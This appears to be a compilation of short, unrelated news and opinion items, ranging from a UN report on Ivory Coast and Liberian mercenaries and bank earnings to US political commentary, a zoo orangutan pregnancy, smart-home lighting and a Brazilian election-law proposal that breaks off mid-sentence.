-Ivory Coast sent hit squads to Ghana to kill followers of former strongman Laurent Gbagbo and paid Liberian mercenaries not to stage cross-border attacks for Gbagbo, a UN report said.  The Ghana government told United Nations sanctions experts they had "foiled" at least two missions this year by Ivory Coast agents to kill or abduct Gbagbo associates, said the report obtained by AFP on Sunday.  "The Ghanaian authorities claimed to have foiled at least two such missions in early 2013," said the report.  At least one former Gbagbo supporter, who had returned to Ivory Coast, "had been abducted and had disappeared," it added.  Payments were made to Liberian mercenaries and Ivory Coast militia commanders in a bid to head off attacks aimed at destabilising President Alassane Ouattara's government.  The report to the Security Council, by experts who monitor UN sanctions against Liberia, cast new light on efforts by Ouattara's government to blunt the threat from Gbagbo, whose refusal to concede defeat in a 2010 presidential election sparked unrest in which thousands died.  Gbagbo is now at the International Criminal Court in The Hague facing charges of crimes against humanity. But several cross-border attacks were staged from Liberia in 2012 and the UN mission in Ivory Coast has said several times that new incidents are possible.  The Ghanaian government told the UN experts in July that its neighbour had been sending Ivorian agents intending to assassinate or kidnap militant pro-Gbagbo refugees.  The experts said they had been unable to "independently verify" the claims.  But they met several former Gbagbo ministers in the Ghanaian capital, Accra, who said they wanted to return "but were afraid that they would be killed if they succeeded."  Gbagbo refused to accept the result of the presidential election in late 2010. At least 3,000 people died in five months of unrest before he was captured in an operation backed by UN and French forces.  Ivory Coast was gripped by civil war for much of the previous two decades. Ouattara has embarked on reconciliation efforts but has been urged to move faster and to clamp down on corruption.  Government payments  The UN experts said they had "gathered substantive information" concerning payments made from May this year by the Ivory Coast government to "key Liberian mercenaries."  Two of the mercenary leaders were identified as Isaac Chegbo, who is also known as "Bob Marley" and Augustine "Bush Dog" Vleyee.  Money was paid for "collecting information from these individuals and discouraging them from conducting cross-border attacks," said the report.  It said the payments were made by the Ivory Coast interior ministry's bureau of operational intelligence.  The mercenaries told the UN sanctions experts they were taken to Abidjan to receive money. One said he was given $8,000 but others said they got as little as $2,000.  "Several of the mercenaries who had received such payments complained that they had been promised substantially more money," the report said.  The mercenaries "alleged that additional financing had been misappropriated by Ivorian officials" and the Liberian intermediary.  The UN report said that while attacks had diminished this year, the payments were not a "sustainable" way of keeping the lid on tensions in the country.  It also said Ivory Coast had failed to tell Liberian counterparts about the payments or other moves to sway Gbabgo followers in Liberia.  An Ivory Coast mission accompanied by a UN official from Abidjan that went to a refugee camp in Liberia in May was briefly detained by Liberian authorities who had not been warned in advance, said the report.
-About  Veteran actor well known for his partnership with director Spike Lee and for appearing in films like The Usual Suspects and King of New York. His performance as drug lord Gus Fring on Breaking Bad earned him the Best Supporting Actor Award from the 2012 Critic's Choice Television Awards, and a 2012 Emmy nomination. He plays Pastor Ramon Cruz in Netflix's The Get Down and Jorge in the Maze Runner films.  Before Fame  He played a slave child when he was eight - it was his fist exposure to the entertainment industry.  Trivia  He was a guest star in the NBC cult sitcom Community as the half-brother of Chevy Chase's character Pierce Hawthorne.  Family Life  He married Joy McManigal in 1995. He has four daughters named Syrlucia, Kale Lyn, Shayne Lyra, and Ruby Esposito.  Associated With  He acted alongside Nicole Kidman in the 2010 film Rabbit Hole.
-JPMorgan Chase books $3.3 billion profit  While some of its peers spent part of 2009 in the red, JPMorgan Chase managed to stay profitable.  NEW YORK (CNNMoney.com) -- JPMorgan Chase showed it was close to making a full recovery from last year's crisis after the company reported better-than-expected quarterly profits of $3.3 billion Friday.  The New York City-based banking giant also revealed that compensation expenses climbed 18% during the year to $26.9 billion, much of which is expected to doled out in the form of bonuses.  Kicking off the fourth quarter earnings season for the nation's top banks, the company said it turned a tidy profit during the final three months of 2009, earning 74 cents on a per share basis.  That was much better than Wall Street was anticipating. Analysts polled by Thomson Reuters expected the company to report a profit of $2.46 billion for the quarter, or 61 cents a share.  Shares of JPMorgan Chase (JPM, Fortune 500) fell more than 1% in midday trading though as revenue numbers fell short of expectations.  "Though these results showed improvement, we acknowledge that they fell short of both an adequate return on capital and the firm's earnings potential," JPMorgan Chase CEO Jamie Dimon said in a statement.  Still, 2009 proved to be a stellar year for the bank, as profits more than doubled to $11.73 billion, besting consensus estimates.  One of the biggest drivers of its results in the quarter was the company's investment banking business, which earned $1.9 billion, largely helped by robust debt and stock underwriting fees.  "Earnings in the investment bank were better than we were expecting," Collins Stewart analyst William Tanona wrote in a note to clients Friday.  Executives at the company however, were reluctant to declare that the worst was behind them.  Mike Cavanagh, JPMorgan Chase's chief financial officer, noted that there were still areas of weakness within the company's mortgage portfolio. He also reiterated previous forecasts that its credit card division would likely lose $1 billion a quarter during the first half of 2010.  "We need to wait and see how the economy evolves," he said.  It was clear though that JPMorgan was taking no chances, especially with millions of Americans still out of work. During the quarter, the bank said it added an additional $1.9 billion to its consumer loan loss reserve.  Dimon said that the lack of clarity about the direction of the economy was also playing a big part in keeping the bank from boosting its dividend back to pre-crisis levels. JPMorgan slashed its dividend last year by 87% and currently pays one of just 5 cents a quarter.  JPMorgan Chase is the first of several big banks and Wall Street firms to report its fourth-quarter results. Citigroup (C, Fortune 500), Bank of America (BAC, Fortune 500), Wells Fargo (WFC, Fortune 500), Goldman Sachs (GS, Fortune 500) and Morgan Stanley (MS, Fortune 500) are all slated to release their fourth-quarter and full year numbers next week.  JPMorgan Chase is widely believed to be among the strongest banks in this group though, and its healthy profits could lead to more criticism of the financial services industry.  On Thursday, the industry faced one of its harshest attacks yet after the White House proposed a new tax Thursday on big banks that it said helped to contribute to the financial crisis.  Dimon said Friday that he was not opposed to the concept given the financial services industry's role in the current economic mess. But he quickly rejected the notion that banks such as his should be held responsible for the problems in other industries such as the automotive business.  "I don't understand why we should have to pay for that," he said.  There is also the ongoing backlash among politicians and taxpayers about the size of bonuses doled out by financial firms that benefited from government bailouts.  JPMorgan, which accepted $25 billion in taxpayer aid last fall, revealed Friday that more than a third of its compensation expenses went towards its Wall Street employees.  The company said it spent $9.33 billion to compensate workers in its investment banking division, an increase of $1.6 billion from a year ago. That figure includes salaries as well as money set aside for bonuses.  Divided among the nearly 25,000 individuals in this business, the average annual compensation per employee was nearly $380,000.
-Title: Study on Clinician and Researcher Perspectives on Self-Injury  Directed by: Alexander Chapman, PhD  Assistant Professor  Simon Fraser University  Department of Psychology  RCB5246, 8888 University Drive  Burnaby, BC, Canada V5A 1S6  PH 778-782-6932, FAX 778-782-3427  http://www.sfu.ca/psyc/faculty/chapman  http://www.dbtvancouver.com/  Location: Online questionnaire. Link provided after initial email communication.  Description: I am currently conducting a study examining clinician and researcher perspectives on self-injury. Specifically, I am interested in examining the factors which may prevent an individual from engaging in self-injury over a period of days, weeks or months. I am also interested in how clinicians conceptualize self-injury, and what kinds of treatment strategies they use to address this behaviour. As a clinician, you have an important role to play in understanding barriers to self-injury, and I would welcome your participation in this study.  Commitment: Participants will be asked to fill out a brief set of online questionnaires which ask about your clinical training and education, background and experience dealing with self-injury, and how clients you have seen have been able to refrain from engaging in self-injury. These questionnaires should take no more than 30 minutes of your time. Participation is voluntary and confidential.
-Harold Perrineau, Tom Everett Scott and DJ Qualls have been announced as key cast members in SyFy’s ensemble zombie series, “Z Nation,” which will debut a 13-episode season this fall.  Other stars in the action-horror show from The Asylum, the production company behind “Sharknado,” include Michael Welch (“Twilight”) and Kellita Smith (“The Bernie Mac Show”).  See video: ‘Family Feud’ Contestant Thinks Zombies Are Black  “Z Nation” takes place three years after a virus has turned the country into a zombie wasteland, and follows a team tasked with transporting the only known human to have resisted the virus to a lab in hopes of creating a vaccine. Although the antibodies he carries are the world’s last hope for survival, he hides a dark secret that threatens them all.  Perrineau will play Hammond, the leader of the group headed west; Scott portrays Garnett, Hammond’s second-in-command; and Qualls plays the role of Citizen Z, a computer hacker who joins the team and helps them navigate the zombie-infested terrain. Welch and Smith are Mack and Addy, respectively, two disparate wanderers drawn to the team — and to each other — by a shared goal: survival.  Also read: Paramount Delays ‘Friday the 13th’ 8 Months for ‘Scouts vs. Zombies’  Karl Schaefer (“Eureka”) serves as executive producer and showrunner. John Hyams will direct the pilot.
-Former British Foreign Secretary David Miliband strongly urged Israel Sunday to lift its sea blockade of Gaza. Miliband, who is the current favorite to head Britain's recently defeated Labor Party, was interviewed on British television.  Israel's three-year blockade of Gaza is counterproductive to all parties concerned. That is the view of leading British politician David Miliband. "Resolution 1860, the U.N. resolution that brought the Gaza war to an end which I actually co-authored 18 months ago in New York, says very clearly that the arms trafficking into Gaza has to stop but the blockade has to stop and that is absolutely basic," he said.  Interviewed by the BBC, the former Foreign Secretary said the blockade has in effect marginalized Gaza. And he added, it has represented a stain on policy right across the Middle East for a very long time. "It has been a disaster for the people involved, obviously those many killed and injured, it has also been a disaster for Israel. I think there have been a series of deadly and self-defeating actions by successive Israeli governments in respect of Gaza. There cannot be a Palestinian state and therefore cannot be peace for Israel and rest of Middle East with Gaza isolated with people unable to get in basic commodities, unable to rebuild their lives," he said.  Miliband also expressed his frustration that the long stalled peace process has not moved forward. He wants to see more energy put back into the process. "What is corroding any confidence at all among Palestinians and Israelis that they are going to be able to find a way to live together is the absence of a serious political process to negotiate the terms of a Palestinian state. There are these so called proximity talks, that means they are not even sitting in the same room - the Palestinians and the Israelis, and unless that is jump started, if not by the parties then by outside parties, the Americans, the U.N. with E.U. support, then I am afraid this is not going to get resolved," he said.  The Israeli ambassador to the United States said on American television that his country will reject an international proposal to investigate the deadly raid on the Gaza flotilla that left nine dead on a Turkish ship.
-Cava Grill Coming to Silver Spring  The popular fast-casual Mediterranean restaurant plans to open on Fenton Street  By Andrew Metcalf  The Cava Mezze Grill location at Westfield Montgomery in Bethesda opened last year Via Cava Mezze Grill website  Cava Grill is bringing its Mediterranean pita wraps and salads to Silver Spring in early 2016.  The new Cava Grill concept will open at 8515 Fenton St. in Silver Spring's downtown, according to a press release. The location will feature an open-kitchen layout and stone-fired ovens. It also will serve seasonal soups, beer and wine.  Cava, which got its start as a full-service restaurant in Rockville, later found regional popularity with its fast-casual Greek concept Cava Grill. The concept is known for its pitas, rice bowls and salads that are served Chipotle-style with a variety of ingredients such as falafel, grilled chicken, lamb meatballs, vegetables and sauces including tzatziki, hummus and spicy harissa.  Cava Grill currently has eight locations, including restaurants on Bethesda Row, in Westfield Montgomery mall and in Gaithersburg's Kentlands neighborhood.  Cava's owners-Ted Xenohristos, Ike Grigoropoulos and Dmitiri Moshovitis-grew up in Montgomery County and came up with the idea for the Cava Rockville restaurant while working at Bethesda restaurants.  In April, the company announced it had raised $16 million in funding and would use the money to finance a West Coast expansion of Cava Grill.
-There is nothing wrong with national-level education yardsticks. We’ve had them for decades: the SAT, Advanced Placement tests, the Iowa Test of Basic Skills, etc. What is wrong is imposing one standard on everyone, which ignores that all children are unique and no standards-setters omniscient. But that is exactly what Washington is doing with the Common Core.  First, it is necessary to establish that the Core is largely being imposed by the feds. It is not, as Core supporters insist, “state-led” and “voluntary.”  The Core was created by the National Governors Association and the Council of Chief State School Officers, but these groups do not represent states. Legislators do, and while people vote for governors, doubtless few, if any, have ever done so based on what they expect a candidate might do in the powerless NGA.  Next, the impetus behind Core adoption in most states was federal action. To compete for a part of the $4.35-billion Race to the Top purse, states de facto had to adopt the Core. Indeed, Race to the Top required state leaders to promise to adopt the Core before the final version had even been published!  Cementing adoption, the Obama administration gave only two options for states to get waivers from the hated, illogical, No Child Left Behind Act: adopt the Core, or have a state university system certify state standards as “college- and career-ready.”  Topping it all off, the U.S. Department of Education selected and funded two consortia to create national tests to go with the Core.  On the too-rare occasion when advocates have acknowledged the federal force behind the Core, they have typically implied that the Obama administration acted against their intent that adoption be purely up to states. But in “Benchmarking for Success: Ensuring U.S. Students Get a World-Class Education” - a report published before Barack Obama became president — the National Governors Association and Council of Chief State School Officers implored Washington to offer “a range of tiered incentives,” including funding and regulatory relief, to move states onto national standards. The call was eventually reiterated on the Core’s website, then removed.  Despite advocates’ incessant protestations, the facts are clear: Common Core was federally pushed, just as they requested. This top-down imposition is a huge problem for two fundamental reasons.  The first is that all children are unique. They learn different things at different rates, and have myriad talents and goals. Yet Common Core, by its very nature, moves all kids largely in lock-step, processing them like soulless widgets. That’s likely a major reason there is no meaningful empirical evidence that national standards produce better outcomes, and education experts across the spectrum have dismissed the Core.  The second basic problem is that no one is omniscient. As the raging debate over the quality of the Core painfully illustrates, even if there could be a one, best standard for all kids, we don’t know what it is. But with a monopoly, no alternative standards will be able to compete, and better ways of doing things won’t be revealed.  So is the Common Core a bad idea? Absolutely. It is a federally coerced, one-size-fits-all regime that ignores basic, human reality.
-Here's the thing about Mike Huckabee: just when you start to think he might be a reasonably decent guy (at least compared to the rest of the Republican presidential field), he reminds you of what an absolute asshole he really is.  The latest example: he thinks President Obama's decision to give up defending unconstitutional discrimination in the Defense of Marriage Act will "destroy" the Obama presidency. CBS:  In an interview with CBS News political consultant John Dickerson, Huckabee said the decision could "destroy" President Obama, though not marriage itself. "It may destroy him [Obama], may destroy his credibility, may destroy his campaign and candidacy and ultimately his term in office," Huckabee said.  And why does Huckabee think it will destroy Obama?  "He himself didn't take this position when he ran for president. I think if he had, he wouldn't be president," Huckabee said.  Except that's Bullshit. With a capital B. President Obama opposed DOMA throughout the campaign and supported its repeal.  Huckabee's dickishness doesn't stop with distorting Obama's record, however. Not even close. Get a load of this crap:  In his new book, "A Simple Government," the ordained minister writes that traditional families - those grounded in a marriage between a man and a woman - promote economic stability. "[Marriage] is the foundational form of government," Huckabee told CBS News.  Marriage is the foundational form of government? What the hell does that even mean? Was the American revolution fought over high divorce rates? Was the Egyptian revolution the result of too much casual dating?  And even if we took Huckabee seriously and we accepted that marriage really is the foundational form of government, then what does it say that every single American president has served alongside a male vice president? If same-sex marriage is so bad, then why hasn't he ever complained about same-sex government?
-Some Republicans will say anything to see the Affordable Care Act fail. The best defense is the truth.  Now I’ve heard everything. Well, probably not, when it comes to myths the GOP invents about Obamacare. But this one’s a doozy.  On the May 29 edition of The Last Word, I saw Tea Party Republicans leading citizens at a town hall meeting to believe that the IRS will get to make decisions about whether or not they receive healthcare coverage or treatment. I’m paraphrasing, but the gist was, “If they don’t like your politics or your religion, they won’t let you get care!”  Here’s the clip:  It’s so preposterous it’s hardly worth mentioning. But the trouble is, there are plenty of people who will believe it. That’s why it’s so important to get the facts out there.  The only involvement the IRS has in Obamacare is enforcing the penalty imposed on people who choose not to buy health insurance, if they can afford it. Oh, and by the way, the maximum penalty is about $800 per year. Right now, I pay $1,200 a month as a self-employed person with type 2 diabetes. So if someone chooses not to buy insurance and pays the penalty instead, they’re getting a deal. Because they still get to go to the emergency room and get care when they absolutely need it. People like me help pay for that.  Getting more people coverage is one of the reasons premiums will go down for countless Americans starting in 2014. We won’t be paying for as many other people’s care. States that accept Medicaid expansion will reduce even more of the burden on people who buy insurance. I’m looking at you, Michigan, among others.  Another myth that’s been spreading like wildfire, thanks in large part to Tea Party Republicans, is that premiums will go up because of Obamacare. That’s simply not the case. I’ve estimated my premiums will drop by nearly 40 percent once I’m no longer penalized for being a woman with type 2 diabetes who is self-employed — all black marks against me under the current system. Premiums are not set by Obamacare or the federal government. Premiums are set by insurance companies. In an open marketplace where insurers must now compete in state or federal healthcare exchanges, they must set market-friendly rates or suffer the consequences. Consumers get to choose the coverage that fits their needs and budget. This article from The New Republic by the always-excellent Jonathan Cohn explains it beautifully.  Look, I get it. Obamacare is a complicated law and there’s a lot to know. But it’s worth learning about — and it’s certainly worth getting the facts out there so the Republicans can’t succeed in what seems to be a plan to sabotage Obamacare through a strategy of misinformation and fear. First, there were death panels and now, the myth that the IRS will be pulling the plug if they don’t like you. I know you’re not that gullible. Let’s make sure everyone else isn’t, either.  There’s more to come. On the one hand, there’s sure to be continued attacks from Obamacare’s opponents. Having lost 37 attempts at repealing the law, they’ll apparently stop at nothing to see the law fail. On the other hand, as Obamacare implementation continues, there’s more and more evidence that it works. We just have to make sure the facts speak louder than the misinformation. Surely a good law that helps millions of Americans can stand up to a pack of lies.  I’ll be writing a lot about Obamacare here in the months to come, sharing new proof of its benefits that are being revealed with increasing frequency as implementation continues. I’ll also be providing facts to disprove any ridiculous lies being spread. So stay tuned and pass on the truth.  Questions are welcome in the comments section if there are topics you’d like to see covered in future posts. In the meantime, this site on health reform from the Henry J. Kaiser Family Foundation is a great resource for independent facts.  [Photo credit: Chris Savage | Eclectablog]
-Country music stars Faith Hill and Tim McGraw have expanded their progressive campaign within the traditionally conservative medium by voicing support for gun control in the newest issue of Billboard Magazine.  The pair, who have been married for two decades and are promoting their first dual album, "The Rest of Our Lives," are forcefully expressing their shared political beliefs in the process.  Speaking to Billboard, McGraw says that while he enjoys hunting, he believes that using "common sense" means supporting gun control.  "Look, I’m a bird hunter -- I love to wing shoot. However, there is some common sense that’s necessary when it comes to gun control," McGraw told the magazine.  He then took aim at gun rights activists. "They want to make it about the Second Amendment every time it’s brought up," McGraw added. "It’s not about the Second Amendment."  Faith Hill quickly joined in and appeared to claim that stricter gun control laws could have prevented the mass shooting in Las Vegas. "In reference to the tragedy in Las Vegas," Hill opined, “we knew a lot of people there. The doctors that saw the wounded, they saw wounds like you’d see in war. That’s not right."  And, of course, as many celebrities are wont to do in the wake of a national tragedy, they spoke out against the National Rifle Association. "Military weapons should not be in the hands of civilians," Hill said. "It’s everyone’s responsibility, including the government and the National Rifle Association, to tell the truth. We all want a safe country."  By now, it's clear that Vegas shooter Stephen Paddock deftly navigated existing weapons restrictions in order to acquire an arsenal of weapons, including military grade guns with "bump stocks" that allowed them to shoot like automatic rifles. In the case of last week's church shooting in Texas, the government — not the NRA — failed to use common sense in enforcing its own laws, and allowed Devin Kelley to purchase guns even though he had been convicted of domestic violence.  But McGraw and Hill have become the progressive conscience of the country music world. They've long since declared their allegiance with the Democratic Party, first supporting President Barack Obama and then 2016 Democratic presidential nominee Hillary Clinton.They even held a Nashville fundraiser for Clinton, raising thousands for the failed Democrat with a private country music concert.
-For the first time in 25 years, staff at the Smithsonian's National Zoo are making preparations for the highly anticipated birth of an endangered Bornean orangutan. With a breeding recommendation from the Association of Zoos and Aquariums' Species Survival Plan (SSP), the 19-year-old parents to be, female Batang and male Kyle, bred in January. On Feb. 2, a common human pregnancy test confirmed that Batang had successfully conceived. Earlier today, the Zoo announced Batang's pregnancy through a broadcast via Facebook Live of her ultrasound; it will continue to provide weekly updates on Batang through Facebook, Twitter and Instagram using the hashtag #OrangutanStory.  Zoo veterinarians have conducted bi-weekly ultrasounds since Feb. 2 and are encouraged that the ultrasounds have shown fetal growth and development, heightening hopes that Batang will give birth for the first time. They are cautiously optimistic that she will deliver a healthy baby around mid-September. However, just like any animal pregnancy, there is a possibility that miscarriage, stillbirth or a complication could occur.  All of our perseverance and planning paid off when we confirmed Batang's pregnancy, said Meredith Bastian, curator of primates and member of the Orangutan SSP Steering Committee. Watching her fetus develop over the past few months has been incredibly exciting, and we're making every effort to ensure our efforts come to fruition.  For the past three years, keepers have been acclimating Batang to the experiences of motherhood and training her to care for an infant. Building upon behaviors Batang has learned through routine training sessions, keepers presented her with a plush, bean-shaped pillow and an orangutan stuffed animal to simulate a baby. Keepers trained her to hold the fake baby upright, carry it around the enclosure and return the pillow baby to keepers through a specially designed baby box when asked. Should animal care staff need to evaluate a real orangutan baby's health, this training would help staff retrieve the infant in a way that is safe and not stressful for the animals. Batang has also been trained to use a breast pump for milk collection in the event she is unable to successfully nurse.  Training increases the likelihood that orangutan mothers will care for their infants said Becky Malinsky, assistant curator of primates.This training is especially important for a first time mother, like Batang. It is our goal for the infant to be raised by her mother, learning how to be an orangutan from Batang and the other orangutans at the zoo.  In the event that Batang is unable or unwilling to care for her infant, keepers are training females Bonnie and Iris to act as surrogate mothers. They receive similar training to Batang, but with a slight twist: keepers ask them to bring the pillow baby and present it to the keepers for bottle feedings. Batang is also trained to present the infant for bottle feedings if she is unable to nurse. As a last resort, keepers will prepare a nursery in the event it is necessary for them to hand-raise the baby with the goal of returning the infant to its mother or surrogate as soon as possible.  Native to Indonesia, orangutans live in the tropical rainforests of Borneo and Sumatra. For the past seven decades, humans have cleared land that was originally orangutan territory in order to meet the growing demand for palm oil products, fast-growing pulp wood and food crops leaving orangutans in competition with one another for space, food and mates. Scientists estimate that in the past 75 years, the number of wild orangutans has decreased by 80 percent. The International Union for Conservation of Nature lists the Bornean orangutan as endangered and the Sumatran orangutan as critically endangered.  Visitors can see the Zoo's six orangutans daily at the Great Ape House and the Think Tank. At the Great Ape House, visitors can meet a great ape keeper to learn about the fascinating world of apes at 11:30 a.m. daily. At Think Tank, staff and interpretive volunteers perform daily demonstrations and lead discussions on research in cognitive science, highlighting current and ongoing National Zoo studies at 1:30 p.m. Visitors can also see the orangutans traveling on the O-Line on warm-weather days in the late morning and early afternoon.  Download photo set
-Japan and North Korea on Monday began a new round of official talks to normalize diplomatic relations in Stockholm, Sweden.  The three-day talks followed the previous round held in late March in Beijing. As with the Beijing session, the Japanese delegation is led by Junichi Ihara, director general of the Asian and Oceanian Affairs Bureau at the Japanese Foreign Ministry, and Song Il Ho, Pyongyang’s ambassador for normalizing relations with Japan.  “Japan has imposed various sanctions on North Korea in cooperation with the international community,” Japanese Foreign Minister Fumio Kishida said on Monday at a speech at Chuo University in Tokyo.  “Considering North Korea’s current difficult circumstances, we have achieved some positive results, and those pressures led to a resumption of official talks,” Kishida said.  Kishida also said that Japan will consider lifting some sanctions on North Korea in phases depending on whether Pyongyang shows concrete efforts to solve the long-standing issue of Japanese citizens abducted by North Korean agents in late 1970s and early 80s.  In previous sessions, the Japanese delegation has demanded that North Korea launch a fresh investigation into the fate of those abducted Japanese nationals. Pyongyang on the other hand, maintains its stand that the abduction issue has already been resolved.  In August 2008, the two nations agreed to complete a re-investigation into the Japanese abductees in North Korea, But then prime minister Yasuo Fukuda abruptly resigned. Negotiations on the abduction issue have stalled and no action has taken since then.  “Other than Japan, North Korea has a strained relationship with other nations such as South Korea and the US,” Hideshi Takesada, an expert on regional security at Takushoku University in Tokyo, told NK News on Monday. “So it must be serious enough to respond to Japan’s demand this time.”  “By holding negotiations with Japan, Pyongyang is also trying to make President Park Geun-hye’s administration feel unpleasant intentionally,” Takesada pointed out.  Lee Young-hwa, an expert on Korea and an economics professor at Kansai University in Osaka, disagreed with Takesada’s views.  Lee said North Korea has improved relations with China, which soured following the execution of Jang Song Thaek last December, damaging Japan’s improving ties with Pyongyang.  “Japan-North Korea negotiations will stall sooner or later,” said Lee, who is a third-generation ethnic Korean resident of Japan.  In Stockholm, Pyongyang is expected to call on the Japanese government to block the sale of the Tokyo headquarters building of Chongryon, the main pro-North Korea organization in Japan.  The Tokyo High Court recently dismissed the appeal filed by Chongryon against the sale of the building and land to Marunaka Holdings, a property investment company based in Takamatsu City, Kagawa Prefecture in western Japan.  “Pyongyang will bring up this thorny issue at negotiating table to kill negotiations,” Lee also said.  Takesada took a different view by saying “the sale of Chongryon’s headquarters is not something which will cause Pyongyang to kill negotiations with Japan.”  Picture: Abhimanyu, Flickr Creative Commons
-It turns out that alt+tabbing doesn't turn off your webcam.  Not content to let Ilyes "Stephano" Satouri take the award for livestreaming gaffe of the month, a League of Legends player has been caught masturbating during a live match.  Andrew "Slooshi" Pham was livestreaming one of his rounds earlier today, when he decided to alt-tab, watch some porn and entertain a brief visit from Rosie Palm and her five daughters. Unfortunately, he forgot to turn off the livestreaming program he was using to capture his game. The program captured both the on-screen action - "Shower and Massage with hot beauty Asian Kina Kai" courtesy of SoapyMassage.com - and 17-year-old Slooshi's, uh, appreciation of the video.  Rather than curl up into a ball and wish for death, Slooshi seems to be taking the gaffe in his stride. Once he got a grip on the situation, he changed the banner of his streaming site to read "Got caught fapping AMA" and has even joked that his impromptu genital fondling was a legitimate "tactic."  Slooshi isn't the first victim of accidental livestreaming. Last month, small time DOTA streamer, Zyori, became infamous when he failed to turn off his streaming program before wandering around semi-naked. Viewers were treated to the sight of Zyori, naked from the waist down, scratching his scrotum and spending a minute appreciating its scent.  More recently, professional StarCraft 2 player, Illyes "Stephano" Satouri, was suspended from play for a month following a series of off-color jokes about child abuse he made during a game he assumed was private.  Source: Twitch.Tv
-Electing Democrat Hillary Clinton president will lead to a “very harsh climate” for the press in which the First Amendment “will be very significantly eroded,” contends WikiLeaks chief Julian Assange.  “What kind of press climate is going to exist afterwards, especially if Hillary Clinton is elected?” he asked in a radio interview with Sean Hannity.  “It will be perceived to be a validation of that hysteria, and so the press afterwards will be cracked down upon and online publishers and people on social media, you know, it will lead to a very harsh climate where the First Amendment will be very significantly eroded,” Assange said.  Hear the interview:  Assange made news days ago when he was erroneously reported to have called Clinton a “demon” in an interview with the New York Times.  He immediately set the record straight, blasting both the Times and Clinton.  On Twitter, he posted, “What we were drawing attention [to] is the amazing transformation that Hillary Clinton and the Democratic Party are by becoming the national security party and the national security candidate by whipping up a neo-McCarthyist hysteria about Russia.  It’s crazy Uncle Joe in his own words! New book has dozens of QR codes for an evening of laugh-out-loud gaffes — don’t miss “Biden Time”  “Any serious analyst understands that China and the U.S. are the only real games in town. China has ten times the population of Russia, seven times the GDP. Russia has the GDP of Italy. It’s interesting in that it makes provocative statements and so on. It’s interesting, and of course in its own neck of the woods – countries between Russia and China, the Caucasus and so on—of course Russia is very significant for them, but in the world stage Russia is a bit player.  “That attempted re-framing by Hillary Clinton to declare media organizations that are publishing material that shows illicit behavior in the DNC to fix the election for her as somehow us being Russian agents, similar criticism has emerged from people connected to her campaign against the Intercept, where Glenn Greenwald works,” he said.  “Her campaign has effectively, and maybe even directly, called Donald Trump, the opposition leader in this case, a Russian agent. … Jill Stein, the Greens Party candidate, effectively the 4th candidate in terms of numbers – has also been called a Russian agent,” he continued.  “This is a neo-McCarthyist hysteria. What kind of press environment is this going to lead to, post-election? The American liberal press, in falling over themselves to defend Hillary Clinton, are erecting a demon that’s going [to] put nooses around everyone’s necks when she wins the election which she is almost certainly going to do.”  What do YOU think? What do you think Assange has on Hillary? Sound off in today’s WND poll.  On Hannity’s radio show, he continued the conversation, charging Clinton and her campaign are “trying to whip up a neo-McCarthyist hysteria.”  He explained: “The Democrats are always speaking about how terrible McCarthyism was, and it was in many ways. But at least the USSR actually existed then and there were actually Russian-influence campaigns which were serious. What we’re seeing now is Hillary Clinton and her campaign trying to whip up a neo-McCarthyist hysteria.”  He said she charges that anyone critical of her or who opposes her is in league with Russia.  “She claims Donald Trump is effectively an agent of the Russians. That WikiLeaks is an agent of the Russians. And where her campaign has also implied that Jill Stein, the Greens’ leader, is a Russian agent. And the Intercept, which is an American publication, are effectively Russian agents.”  He said the campaign’s objective is to chill free speech to protect her if she wins in November.  WND reported WikiLeaks already has had a significant role in the presidential election.  It has released Democratic Party emails resulting in the resignation of top party officials and documents related to Hillary Clinton’s email scandal, and promises an “October surprise” of information that could damage Clinton’s White House bid.  Earlier, he ridiculed the claims that DNC documents leaked were provided by Russian agents.  There was “no evidence” of that, he said.  It’s crazy Uncle Joe in his own words! New book has dozens of QR codes for an evening of laugh-out-loud gaffes — don’t miss “Biden Time”
-Enlarge Image Tyler Lizenby/CNET  Philips Hue's app-enabled, color-changing light bulbs were among the very first smart-home gadgets to sync with Alexa, Amazon's popular voice-activated, virtual assistant. Pair the two up, and you'll be able to turn lights on and off or dim them up and down using simple voice commands. The only problem? Alexa can't do color changes -- which is, you know, kind of a big part of the whole Philips Hue pitch.  Today, that's changing. Kind of.  As part of a whirlwind day that saw Alexa make her debut in the UK and Germany, along with the arrival of a second-gen Amazon Echo Dot mini-speaker that costs just $50, Amazon also unveiled new Alexa controls that allow her to trigger preset smart home scenes for Alexa-compatible gadgets. And, once again, Philips Hue is one of the first to jump on board.  That means that in addition to turning lights on and off and dimming them up and down, you can now tell Alexa to turn on your Philips Hue lighting scenes, even ones that change the colors of your bulbs. For instance, if you make a "sunrise" scene that turns the bulbs in your bedroom orange and red and sets them to fade up to full brightness over 30 minutes, you could trigger that scene by saying, "Alexa, turn on scene sunrise."  Still, it's odd that you can't tell Alexa to change your Hue lights to specific colors. Color-changes aren't a native skill for the virtual assistant, but the Alexa-compatible Hue competitor Lifx found a way around that shortcoming long ago. The trick? An additional Alexa skill for color changes. Enable it, and you can ask Alexa to "tell Lifx" to change a bulb to a specific color. Philips still offers nothing of the sort for Alexa -- though it does offer voice-activated color changes by way of Alexa's chief frenemy, Siri.  All of that said, Alexa scene controls are a nice step forward for the Alexa/Hue duo and a relatively simple way for users to get their voice control and color-change fixes in one fell swoop. Here's hoping for more as Alexa continues to get smarter and better connected.
-(Lula Marques/AGPT)  SÃO PAULO - O relator da reforma política na comissão especial da Câmara dos Deputados, deputado Vicente Cândido (PT-SP), deve incluir em seu relatório um artigo que, se aprovado, impedirá a partir da eleição de 2018 a prisão de candidatos até oito meses antes da eleição. As informações são do jornal "O Estado de S. Paulo".  Sem alarde, a proposta, que já ganhou o apelido de “emenda Lula”, alteraria o Artigo 236 do Código Eleitoral, que proíbe a prisão 15 dias antes do pleito.  Ao jornal, Vicente Cândido afirmou que a nova regra beneficia o ex-presidente petista, condenado nesta semana pelo juiz Sérgio Moro a 9 meses e meio de prisão, e que foi pensada para “blindar” não só ele, mas políticos investigados. “Lula também, como qualquer outro. É nossa arma contra esse período de judicialização da política", afirmou.  Para alterar o prazo que impede a prisão, o deputado criou a figura da habilitação prévia da candidatura. O político terá entre 1 e 28 de fevereiro do ano da eleição para solicitar o certificado à Justiça, que poderá concedê-lo até 30 de abril. Após obter o certificado, o candidato ganha uma espécie de salvo-conduto que o impediria de ser preso daquele momento até 48 horas depois do pleito. A exceção continua sendo a prisão em flagrante. A reforma política será votada no dia 3 de agosto pela comissão da Câmara e, para valer em 2018, precisa ser aprovada pelo Congresso até setembro.  A proposta gerou reações de políticos. A senadora Ana Amélia (PP-RS) escreveu em sua página noTwitter: "quando a sociedade exige uma reforma política moralizadora, é inaceitável e provocadora a manobra para livrar Lula e outros políticos da inelegibilidade nas eleições de 